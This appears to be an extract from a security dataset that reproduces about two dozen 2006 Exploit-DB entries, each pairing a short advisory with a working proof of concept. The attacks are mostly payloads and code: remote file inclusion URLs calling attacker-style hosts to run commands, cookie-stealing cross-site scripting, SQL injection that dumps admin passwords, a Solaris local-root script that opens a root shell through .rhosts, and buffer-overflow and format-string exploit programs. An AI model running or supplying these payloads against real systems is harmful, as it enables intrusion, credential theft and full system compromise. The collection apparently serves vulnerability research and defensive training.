QLWD/code_shield huggingface dataset:
标题: Bloq 0.5.4 - 'index.php?page[path]' Remote File Inclusion EDB-ID: 28797 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info

Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHSCR&#304;PT]/index.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls URL: https://www.exploit-db.com/exploits/28797
标题: Bloq 0.5.4 - 'admin.php?page[path]' Remote File Inclusion EDB-ID: 28798 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info
 
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/admin.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls URL: https://www.exploit-db.com/exploits/28798
标题: phpList 2.x - Public Pages MultipleCross-Site Scripting Vulnerabilities EDB-ID: 28790 CVE: 2006-5294 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/20483/info

phpList is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to 2.10.3 are vulnerable to this issue.

http://www.example.com/phplist_path/?p=unsubscribe&id=1&unsubscribeemail=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/28790
标题: PHP TopSites FREE 1.022b - 'config.php' Remote File Inclusion EDB-ID: 28791 CVE: 2006-7091 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/20486/info

PHP TopSites is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.022 is affected by this issue; other versions may also be affected.

http://www.example.com/[path]/config.php?fullpath=|SCRIPT-URL| URL: https://www.exploit-db.com/exploits/28791
标题: BlueShoes Framework 4.6 - 'GoogleSearch.php' Remote File Inclusion EDB-ID: 28781 CVE: 2006-5250 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/20450/info

BlueShoes Framework is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 4.6; other versions may also be affected.

http://www.example.com/blueshoes-4.6_public/blueshoes-4.6/lib/googlesearch/GoogleSearch.php?APP[path][lib]=http://attacker's site URL: https://www.exploit-db.com/exploits/28781
标题: Tagit2b - 'DelTagUser.php' Remote File Inclusion EDB-ID: 28782 CVE: 2006-5249 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/20451/info

Tagit2b is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.1.B Build 2 is affected by this issue; other versions may also be affected.

http://www.example.com/tagit2b/tagmin/delTagUser.php?configpath=http://www.example.com URL: https://www.exploit-db.com/exploits/28782
标题: Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (1) EDB-ID: 28788 CVE: 2006-4842 类型: LOCAL 平台: SOLARIS 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20471/info

The Netscape Portable Runtime API running on Sun Solaris 10 operating system is prone to a local privilege-escalation vulnerability.

A successful exploit of this issue allows an attacker to gain superuser privileges, completely compromising the affected computer. 

Version 4.6.1 running on Sun Solaris 10 is vulnerable to this issue.

#!/bin/sh

#
# $Id: raptor_libnspr,v 1.1 2006/10/13 19:12:12 raptor Exp $
#
# raptor_libnspr - Solaris 10 libnspr oldschool local root
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Usage:
# $ chmod +x raptor_libnspr
# $ ./raptor_libnspr
# [...]
# # id
# uid=0(root) gid=0(root)
# # 
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
# 
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr - Solaris 10 libnspr oldschool local root"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/.rhosts
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme rw-rw-rw!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq

# oldschool rhosts foo;)
echo "+ +" > $NSPR_LOG_FILE
rsh -l root localhost sh -i URL: https://www.exploit-db.com/exploits/28788
标题: Hastymail 1.x - IMAP SMTP Command Injection EDB-ID: 28777 CVE: 2006-5262 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/20424/info

Hastymail is prone to an IMAP / SMTP command-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An authenticated malicious user could execute arbitrary IMAP / SMTP commands on the affected mail server processes. This may allow the user to send SPAM from the server or to exploit latent vulnerabilities in the underlying system.

Hastymail 1.5 and prior versions are affected.

This example sends the CREATE IMAP commands to the vulnerable parameter:
http://www.example.com/<path_to_hastymail>/html/mailbox.php?id=47fc54216aae12d57570c9703abe1b7d&mailbox=INBOX%2522%0d%0aA0003%20CREATE
%2522INBOX.vad

The SMTP POST relay example from nonexistant email address is available:

POST http://www.example.com/<path_to_hastymail>/html/compose.php HTTP/1.1

to include:

Content-Disposition: form-data; name="subject"

Proof of Concept
.
mail from: hacker@domain.com
rcpt to: victim@otherdomain.com
data
This is a proof of concept of the SMTP command injection in Hastymail
. URL: https://www.exploit-db.com/exploits/28777
标题: ironwebmail 6.1.1 - Directory Traversal Information Disclosure EDB-ID: 28778 CVE: 2006-5210 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20436/info

IronWebMail is prone to a remote information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to retrieve the contents of arbitrary files from vulnerable computers with the privileges of the webserver process. Information harvested may aid in further attacks.

IronWebMail versions prior to 6.1.1 HotFix-17 are affected by this vulnerability.

GET /IM_FILE(%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/admin.xml) HTTP/1.0[CRLF][CRLF] URL: https://www.exploit-db.com/exploits/28778
标题: Google Earth 4.0.2091 (Beta) - '.KML'/'.KMZ' Buffer Overflow EDB-ID: 28785 CVE: 2006-7157 类型: DOS 平台: WINDOWS 发布日期: 2006-09-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/20464/info

Google Earth is prone to a buffer-overflow vulnerability because the application to properly verify the size of user-supplied data before copying it into an insufficiently sized process buffer.

This issue allows remote attackers to execute arbitrary machine code in the context of the user running the affected application. Failed exploit attempts will likely crash applications, denying service to legitimate users.

Google Earth version v4.0.2091(beta) is vulnerable to this issue.

///////////////////////////////////////////////
// Google Earth (kml & kmz files) buffer overflow
// by JAAScois [ http://www.jaascois.com ]
// Test on: Google Earth v4.0.2091(beta) Sep 14 2006
///////////////////////////////////////////////
#include <stdio.h>
#include <string.h>
char xmlHdr[]="<?xml version=\'1.0\' encoding=\'UTF-8\'?>\n<kml
xmlns=\'http://earth.google.com/kml/2.1\'>\n<Placemark><name>By:
JAAScois.com</name><Model><Link><href>";
char xmlHdr2[]="</href></Link></Model></Placemark></kml>";
int main(int argc, char* argv[])
{
FILE *Gkml;
FILE *GkmlX;
int i;
unsigned char nop;
printf("Google Earth (kml & kmz files) buffer overflow \n");
printf(" by JAAScois [ http://www.jaascois.com ]\n");

// Gkml.kml
Gkml=fopen("Gkml.kml","w+b");
if(Gkml==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,Gkml);
nop=0x90;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,Gkml);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,Gkml);
fclose (Gkml);

// GkmlX.kml
GkmlX=fopen("GkmlX.kml","w+b");
if(GkmlX==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,GkmlX);
nop=0x41;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,GkmlX);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,GkmlX);
fclose (GkmlX);

printf("- Created file: Gkml.kml ...OK\n");
return 0;
} URL: https://www.exploit-db.com/exploits/28785
标题: phpWebSite 0.10.2 - 'PHPWS_SOURCE_DIR' Multiple Remote File Inclusions EDB-ID: 28774 CVE: 2006-5234 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/20412/info

phpWebSite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpWebSite version 0.10.2 is vulnerable to this issue; other versions may also be affected.

This BID is being retired. The 'PHPWS_SOURCE_DIR' is a constant and not an attacker-controlled variable.

http://www.example.com/mod/users/init.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/users.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/Cookie.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/forms.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/Groups.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/http://www.example.com/modSetting.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Calendar.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/DateTime.php?PHPWS_HOME_DIR=http://Shel3ll.txt?
http://www.example.com/core/http://www.example.com/core.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/ImgLibrary.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Manager.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Template.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/EZform.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt? URL: https://www.exploit-db.com/exploits/28774
标题: ISearch 2.16 - 'ISEARCH_PATH' Remote File Inclusion EDB-ID: 28772 CVE: 2006-5232 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/20401/info

iSearch is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

iSearch 2.16 and prior versions are reported affected.

Update: This BID is retired; further information has revealed that this is not a vulnerability.

htpp://www.example.com/[scerpitPath]/index.php?isearch_path=http://attacker's site URL: https://www.exploit-db.com/exploits/28772
标题: EXPBlog 0.3.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28776 CVE: 2006-5239 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/20420/info

eXpBlog is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

eXpBlog 0.3.5 and prior versions are affected by these issues.

Proof of concept is available:

1) details.php/%3E%22%3E%3Cscript%3Ealert('Unsecure')%3C/script%3E

2) comment=1&captcha_session_code=>"><script>alert('hole')</script>... URL: https://www.exploit-db.com/exploits/28776
标题: Moodle Blog 1.18.2.2/1.6.2 Module - SQL Injection EDB-ID: 28770 CVE: 2006-5219 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/20395/info

Moodle is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Moodle 1.6.2 is reported vulnerable; prior versions may also be affected.

http://www.example.com/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20SELECT%201,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email%20
FROM%20mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20mdl_user.id%3dmdl_user_admins.userid%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20F
ROM%20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20mdl_user%20u%20WHERE%201%3D0%2527,1,1,%25271 URL: https://www.exploit-db.com/exploits/28770
标题: Zabbix 1.1.2 - Multiple Remote Code Execution Vulnerabilities EDB-ID: 28775 CVE: 2006-6692 类型: DOS 平台: LINUX 发布日期: 2006-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/20416/info

ZABBIX is prone to multiple unspecified remote code-execution vulnerabilities. 

Reports indicate that these issues facilitate format-string and buffer-overflow attacks. A remote attacker may leverage these vulnerabilities to trigger denial-of-service conditions or to execute arbitrary code to gain unauthorized access to a vulnerable computer. This would occur in the context of the application.

ZABBIX version 1.1.2 is reported vulnerable; other versions may be affected as well.

#!/usr/bin/perl --

# zabbix-exploiter
# by Ulf Harnhammar in 2006
# I hereby place this program in the public domain.

use IO::Socket;
$server = IO::Socket::INET->new( Proto     => 'tcp',
                                 LocalPort => 10050,
                                 Listen    => SOMAXCONN,
                                 Reuse     => 1);
die "can't create server\n" if !$server;

while ($client = $server->accept())
{
  $client->autoflush(1);
  $key = <$client>; print $key;
  print $client 'UUUU%16$n'; # writes data to 0x55555555, at least on Debian testing
  # print $client '%n%n%n%n'; # crashes
  close $client;
} URL: https://www.exploit-db.com/exploits/28775
标题: Deep CMS 2.0 - 'index.php' Remote File Inclusion EDB-ID: 28773 CVE: 2006-5251 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/20402/info

Deep CMS is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

Version 2.0a is vulnerable to this issue; other versions may also be affected.

http://www.example.com[target]/[deepcms_path]/index.php?ConfigDir=http://www.example.com URL: https://www.exploit-db.com/exploits/28773
标题: AckerTodo 4.2 - 'login.php' Multiple SQL Injections EDB-ID: 28767 CVE: 2006-5228 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20372/info

ackerTodo is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect ackerTodo version 4.2; other versions may also be vulnerable.

http://www.example.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION%20select%20*%20FROM%20tasks URL: https://www.exploit-db.com/exploits/28767
标题: Civica - 'Display.asp' SQL Injection EDB-ID: 28762 CVE: 2006-7231 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/20354/info

Civica is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,......

http://www.example.com/civica/press/display.asp?layout=1&Entry=1 having 1=1

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,,,,,+upd
ate+prtReleases+set+isplayStyle='text';-- URL: https://www.exploit-db.com/exploits/28762
标题: Emek Portal 2.1 - 'Uyegiris.asp' SQL Injection EDB-ID: 28768 CVE: 2006-5217 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20378/info

Emek Portal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.1; other versions may also be vulnerable.

<title>Remote Admin Attack - BiyoSecurity.Org</title> <center> RMx - BiyoSecurtiy.Org</center> <FORM NAME=giris ACTION="http://victim.com/Path to script/uyegiris.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=k_a class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form> URL: https://www.exploit-db.com/exploits/28768
标题: osCommerce 2.2 - '/admin/stats_products_purchased.php?page' Cross-Site Scripting EDB-ID: 28755 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
           
osCommerce is prone to multiple cross-site scripting vulnerabilities.
           
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/stats_products_purchased.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28755
标题: osCommerce 2.2 - '/admin/zones.php?page' Cross-Site Scripting EDB-ID: 28759 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
               
osCommerce is prone to multiple cross-site scripting vulnerabilities.
               
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
          
http://www.example.com/catalog/admin/zones.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28759
标题: WikyBlog 1.2.x - 'index.php' Remote File Inclusion EDB-ID: 28761 CVE: 2006-5193 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/20350/info

WikyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WikyBlog 1.2.3 and earlier versions are vulnerable; other versions may also be affected.

Update: This BID is being retired; further information reveals that the application is not vulnerable to this issue.

http://www.example.com/[scriptPath]/index.php?includeDir=http://SHELLURL.COM URL: https://www.exploit-db.com/exploits/28761
标题: osCommerce 2.2 - '/admin/reviews.php?page' Cross-Site Scripting EDB-ID: 28753 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
         
osCommerce is prone to multiple cross-site scripting vulnerabilities.
         
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/reviews.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28753
标题: osCommerce 2.2 - '/admin/manufacturers.php?page' Cross-Site Scripting EDB-ID: 28748 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
    
osCommerce is prone to multiple cross-site scripting vulnerabilities.
    
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/catalog/admin/manufacturers.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28748
标题: osCommerce 2.2 - '/admin/products_expected.php?page' Cross-Site Scripting EDB-ID: 28752 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
        
osCommerce is prone to multiple cross-site scripting vulnerabilities.
        
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/products_expected.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28752